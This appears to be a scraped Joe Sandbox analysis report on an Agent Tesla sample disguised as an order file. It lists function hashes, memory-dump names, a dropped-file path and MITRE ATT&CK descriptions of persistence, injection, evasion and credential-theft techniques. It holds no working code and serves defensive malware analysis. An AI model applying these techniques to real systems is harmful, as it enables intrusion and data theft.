Opcode ID: 33bbbca906d9e979573b6ed20a43b2f7ede3fa9362d5e29f813599e5cd41e8c7
Instruction ID: ebbb46a2c39b0c9799ee15224ead47d8baaaf101f7b399c42b4dfcd58e4b3600
Opcode Fuzzy Hash: 33bbbca906d9e979573b6ed20a43b2f7ede3fa9362d5e29f813599e5cd41e8c7
Instruction Fuzzy Hash: 3FF01C78A0521CCFD758EF14D894B9EFBB2FB4A300F1081A9D549A3748DB304E858F91

Function 06B37B40 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34d9c263cac6766713e4d32b7103f5ac802cc9c66d0220c669df00375edf811
Instruction ID: f300778d52e9b39ba5b1623d4df0683af40f31c5bdb45fed04b721a8ee3bf41a
Opcode Fuzzy Hash: a34d9c263cac6766713e4d32b7103f5ac802cc9c66d0220c669df00375edf811
Instruction Fuzzy Hash: 97E04FB0A04208DFCB84DFA8C85569CBBF5EB09210F1040E9C80C97341EB31AE41CB80

Function 06B36070 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335826323874e5fdc95b2b11b17ce9248fcc8a72964d482148498f7f254b2c9e
Instruction ID: ccc232f14dd53c33c4649bd472e98730964416be7c098e7a66bd2ca9fc2e15bb
Opcode Fuzzy Hash: 335826323874e5fdc95b2b11b17ce9248fcc8a72964d482148498f7f254b2c9e
Instruction Fuzzy Hash: D8E0ECB4D15218EFCB84DFB8D94AAACBFF8EB05201F1051A9D809A3240EB306A50CB91

Function 06C086E8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df451502dd659a37343f63a888ba9a2afc64dbd38a961a6a0dd2abb6db45040
Instruction ID: 448cabd5d534ca727f6d31f0b4ab24d7ab27bee22825e0670e056563c2e54762
Opcode Fuzzy Hash: 7df451502dd659a37343f63a888ba9a2afc64dbd38a961a6a0dd2abb6db45040
Instruction Fuzzy Hash: CDE0EC34A19208DBDB44DF98D9469ACBBB8AB46304F10919DD80927385DB316E42DB85

Function 06B39A20 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f6df02f6e35387595cfa878947bc939f61d0a2fbed2cd10498d00cb95bd909
Instruction ID: 49203dd9e32c31ea4eda71dce85e3ba768b0d5b4fc867002e5e0834bbcbf34fd
Opcode Fuzzy Hash: f2f6df02f6e35387595cfa878947bc939f61d0a2fbed2cd10498d00cb95bd909
Instruction Fuzzy Hash: 6DE01270A0030DEFDB04EFB5E94066EB7FAEF58614F5045A9D50997248EA315F00AB81

Function 06B36330 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4b762eadb3fbb2d3ce381753a8a342fcb3247995d22c639fcbe867e8cb68aa1
Instruction ID: b5eeb35e5f25f278bdbe590028527e99d8d46e17caf53cf5dc0bb3742d0796cd
Opcode Fuzzy Hash: b4b762eadb3fbb2d3ce381753a8a342fcb3247995d22c639fcbe867e8cb68aa1
Instruction Fuzzy Hash: 4ED01270949208EBC715DFA8D806AADBFB8B746305F1051D8D40923254D7702D41DB95

Function 06C06A1D Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 100d63ae8520681b02afca6f170b999e75b45aa3a9a941a7bee32ce97648cfb2
Instruction ID: 2d02e4644dc050d31032ba2d594f275ba3254f467d7c43503f8873d6c59f49f0
Opcode Fuzzy Hash: 100d63ae8520681b02afca6f170b999e75b45aa3a9a941a7bee32ce97648cfb2
Instruction Fuzzy Hash: D4E01A799042588FDB51DF55C950BDEBBF9FB09300F0081A6A659F7344D6345E81CF50

Function 06B395D0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a070255b43d78249605a8736ea595f38083cbf3c9fcfd283cf7e9522d23458
Instruction ID: 251b6f9c8ea5dd83054b34664b3f2b7ea8af9fd3dc4bfb1cc761820bc16f7ea5
Opcode Fuzzy Hash: 42a070255b43d78249605a8736ea595f38083cbf3c9fcfd283cf7e9522d23458
Instruction Fuzzy Hash: 78E01270A0020DEFCB40EFA4E50065DB7FAEB49214F1041A89509D7744EA315F009792

Function 06B376C2 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ec3de2f77fde77d2dfe79d6eac585d121c2f9b4a62395572c6e1c4bec7cf14
Instruction ID: 74ad8456383393a16874249187a8e151591b0eeca491be5d4806220873b3f894
Opcode Fuzzy Hash: d4ec3de2f77fde77d2dfe79d6eac585d121c2f9b4a62395572c6e1c4bec7cf14
Instruction Fuzzy Hash: 10E01274641259CFC768DF50D89479DB771EB44310F0040E9D90A63B48DF305D81DF00

Function 06B377B8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e86e104512f553dc635c11359825c76e3559829731c3c227843759f9f2945f0
Instruction ID: 8297a136824f2ca859be080bc32eb3acf3a22addb4d5f227352721915f252091
Opcode Fuzzy Hash: 2e86e104512f553dc635c11359825c76e3559829731c3c227843759f9f2945f0
Instruction Fuzzy Hash: FBE09A74A052188FCB69EF64D95479DBBB2FB49314F1004EAD20AB3758DB305E448F61

Function 06B3756F Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475c6b3eb2bb2dbec48c108e3d68843dd02a4ec6a40767f8b37d39f16a875378
Instruction ID: 9a1d17b573731d926eb588a2d6ca7a1edef96d84eb7ada5b1f4718aebbbe68a9
Opcode Fuzzy Hash: 475c6b3eb2bb2dbec48c108e3d68843dd02a4ec6a40767f8b37d39f16a875378
Instruction Fuzzy Hash: 20E01A78A11215DFC754EF24D894B9EBBF2FB89310F0001E8910A63749DB301E84CF40

Function 06B37339 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25376a0920ba9c4fb2723ce065c330d1bc72e9f6467d26768ac4aea7f61c3da0
Instruction ID: e0df0d17a2d0c66ab9e51bf6d8b221da8f60bf1dc469d242da4780042f8d52e8
Opcode Fuzzy Hash: 25376a0920ba9c4fb2723ce065c330d1bc72e9f6467d26768ac4aea7f61c3da0
Instruction Fuzzy Hash: 9DE0E574A04269CFD758AF90E844B99B7B2FB44714F2040A9D50AB3788DB305E80CFA0

Function 06B370B3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 529f0cccd5469401fb14ea8504e5f7833ffc858bc3b095b53bac8c4a911e36c5
Instruction ID: 4d69472f3b6bd68ed1042879764f7f415e4f0aca4e2bb3929a263879846002b6
Opcode Fuzzy Hash: 529f0cccd5469401fb14ea8504e5f7833ffc858bc3b095b53bac8c4a911e36c5
Instruction Fuzzy Hash: BAE06534A00158CFD715EB60E844B9CFBB6EB85300F0085E8800A63748DA310D818F50

Function 06B3780E Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f584ded5b0132c7983d14eaa52b5bf66f0f2eece3d015daee9ca00e314e89c
Instruction ID: d3fb07d2dbe243e778f7fe487207f1a53d69b3f679c00b59d98840d35e4a41e6
Opcode Fuzzy Hash: d1f584ded5b0132c7983d14eaa52b5bf66f0f2eece3d015daee9ca00e314e89c
Instruction Fuzzy Hash: 86E09A74A04219CFC754EF64D89479DBBB2FB46315F1044E9D10E67B58DB301D8A8F51

Function 06B37963 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea4aea7f1df6011260fcc7165d033b8962f0efe32a09e9df95bb4f0399604cf
Instruction ID: 33ae16dcd336a5630a9db54a54d72d5ba6ba82106a28fdeb7e78309d63476884
Opcode Fuzzy Hash: 1ea4aea7f1df6011260fcc7165d033b8962f0efe32a09e9df95bb4f0399604cf
Instruction Fuzzy Hash: 7FE0E578A05219CFC755AB54D958799BBB2FF99311F0004E9D10A6BB48DB301D498F11

Function 06B302BE Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c0947f4bf1c09a9b618553eaaaf97c94cf4030d4aebe00dac540a7233e682c
Instruction ID: 62f3b14f8a80358587e1772ae7628edaa91dc58a65740b6f41b13713a363cd5d
Opcode Fuzzy Hash: a0c0947f4bf1c09a9b618553eaaaf97c94cf4030d4aebe00dac540a7233e682c
Instruction Fuzzy Hash: 53E0B6B0906679CBEBA69F10D904B9A77B6BB04308F0056D4A00966250C7741B84CF45

Function 06B37108 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467342054e2a05904224a65c1750d8a6b2d316877a967a5ac873150c1855eabe
Instruction ID: 781f165c56ca5545df61b398ea8161543982f128668b9e05628537da044fdace
Opcode Fuzzy Hash: 467342054e2a05904224a65c1750d8a6b2d316877a967a5ac873150c1855eabe
Instruction Fuzzy Hash: D5E0F5B4912168CFEB64CF24DD55B99FFB5BB15301F0045E9E40DA7240DA711D84DF24

Function 06C05E6D Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd6f8d458df087615ed94b7dd114ad023c49c6385be7b7bf9574d36cbdfaec0
Instruction ID: a28d9ed1eaf28681853324f995ecb5b793f925c47f1a703f8d7af0634a634f5a
Opcode Fuzzy Hash: dbd6f8d458df087615ed94b7dd114ad023c49c6385be7b7bf9574d36cbdfaec0
Instruction Fuzzy Hash: B0E0BD38805268CFEF60DF20DA48BD9BBB1AF44345F0081DAC409632A0D7388AC9DF00

Function 06B3AE91 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e3250bfee71b1506c419402e69a1b21e8e1fbc9c07032a443baa253b3f3041
Instruction ID: 8e88761a42d49111929a47bc78514f89fe2a9b21365b10f3eafadbcc42ab8886
Opcode Fuzzy Hash: 78e3250bfee71b1506c419402e69a1b21e8e1fbc9c07032a443baa253b3f3041
Instruction Fuzzy Hash: B6C08C2020E3C1BEDF0343301D16BC23F600F02A04F0B00C6B688AE4E3CA400201D2B2

Function 06C002E3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fc2f9863e268c55eeed91055a8b46cbb6f328fdb3aa4ef6f26ced5820bd47f
Instruction ID: 3b4d9061c6c295b1787b897d5f36b3db04d12b574ac8574b327100c7c6a9ded7
Opcode Fuzzy Hash: f0fc2f9863e268c55eeed91055a8b46cbb6f328fdb3aa4ef6f26ced5820bd47f
Instruction Fuzzy Hash: 8CD05E789082588BEBA49F20D4403E9BBB5AB04314F0000AAC10562689CB340E81DF15

Function 06B34865 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4faab06ec0d0bff59b0152ce452d7a1a589be6ff40ddf1cd0cfb5c56cbd01c
Instruction ID: 7ac4febc1a64c461ab77b93588fbcb42589f6318c43701ac864ccc5dbc0cbed2
Opcode Fuzzy Hash: 2a4faab06ec0d0bff59b0152ce452d7a1a589be6ff40ddf1cd0cfb5c56cbd01c
Instruction Fuzzy Hash: 41D0A9B040072ACBEB53AF20E8007883BB9BB08304F0042C0E04896310DB300A489F46

Function 06B37569 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a2cd7e63e90844c990823180f701f3c12ae2ea792e25df60de141320ffda37
Instruction ID: 7216c621902b6c58e0f6045d48141a9746b043cea2793e7bbbb0c38454aed7ad
Opcode Fuzzy Hash: 69a2cd7e63e90844c990823180f701f3c12ae2ea792e25df60de141320ffda37
Instruction Fuzzy Hash: 99C080B43051549FE3455F50E4B4219B731D745315F404168D1173764CEF300C064780

Function 06B379B9 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd7bb245fcfb567409818ef030a00ce94e87843f88db9c586947e43882bd681
Instruction ID: 11ada5884065bd48db66c5b3a60c24155426571c6193395bd26deabc2352a862
Opcode Fuzzy Hash: 2cd7bb245fcfb567409818ef030a00ce94e87843f88db9c586947e43882bd681
Instruction Fuzzy Hash: 4FC02B78204088DFE3456F10E4A431EBB32EB41329F00046C91023368CDF340C048781

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GEFA-Order 232343-68983689.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Fqhnalw.exe

C:\Users\user\AppData\Roaming\Fqhnalw.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
GEFA-Order 232343-68983689.exe

Function 06DD5D62 Relevance: 2.4, Strings: 1, Instructions: 1101
COMMON

Function 06F142C0 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Function 06F28690 Relevance: 1.6, Strings: 1, Instructions: 366
COMMON

Function 06F28687 Relevance: 1.6, Strings: 1, Instructions: 359
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

